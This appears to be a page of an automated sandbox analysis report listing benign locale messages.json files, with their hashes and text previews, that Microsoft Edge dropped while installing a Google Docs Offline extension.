Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
